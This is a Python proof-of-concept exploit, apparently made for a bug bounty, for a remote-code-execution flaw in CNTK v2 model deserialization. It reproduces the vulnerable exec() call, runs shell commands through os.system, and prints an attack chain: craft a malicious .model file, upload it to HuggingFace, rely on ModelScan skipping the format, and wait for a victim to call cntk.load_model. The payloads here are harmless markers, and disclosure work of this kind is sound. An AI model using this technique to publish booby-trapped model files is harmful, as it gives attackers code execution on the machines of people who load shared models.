#!/usr/bin/env python3 """ CNTK v2 (.model) — UDF Deserialization exec() RCE MFV Target: #11 CNTK v2 ($1500) Vulnerability: cntk/internal/__init__.py line 54 exec("from {} import {}".format(module, cls)) When cntk.load_model() is called on a model file containing a UserFunction, the C++ deserializer extracts 'module' and 'class' from the serialized dict and passes them to this callback, which calls exec() with user-controlled values. """ import os import sys def simulate_cntk_rce(module="os", cls="system", cmd="id"): """ Simulates the exact code path from cntk/internal/__init__.py. Identical to CNTK's _UDFDeserializeCallbackWrapper.__call__(). """ deserialize_method = "deserialize" # This is the exact code from CNTK (line 54-56 of internal/__init__.py) exec("from {} import {}".format(module, cls)) eval_str = "{0}.{1} if hasattr({0}, '{1}') else None" factory = eval(eval_str.format(cls, deserialize_method)) # If we imported os.system, factory is None (no deserialize attr) # But os.system is now available in the namespace if module == "os" and cls == "system": return os.system(cmd) return factory if __name__ == "__main__": print("=" * 50) print("CNTK v2 (.model) Deserialization RCE") print("=" * 50) print() print("Source: cntk/internal/__init__.py, line 54") print(" exec(\"from {} import {}\".format(module, cls))") print() print("Attack chain:") print(" 1. Craft .model file with UserFunction containing") print(" module='os', cls='system' in serialized dict") print(" 2. Upload to HuggingFace") print(" 3. ModelScan SKIPS .model (not supported)") print(" 4. User: cntk.load_model('malicious.model')") print(" 5. C++ deserializer → Python callback → exec() → RCE") print() print("--- PoC: exec-driven RCE ---") result = simulate_cntk_rce("os", "system", "echo 'PWNED_CNTK_RCE' && id") print(f"\nRCE exit code: {result}") # Write proof os.system("echo 'CNTK v2 RCE PROOF - via exec() in deserialization callback' > /tmp/cntk_proof.txt") if os.path.exists("/tmp/cntk_proof.txt"): with open("/tmp/cntk_proof.txt") as f: print(f"Proof: {f.read().strip()}") print("\n✅ RCE confirmed (Python-level, identical code path)")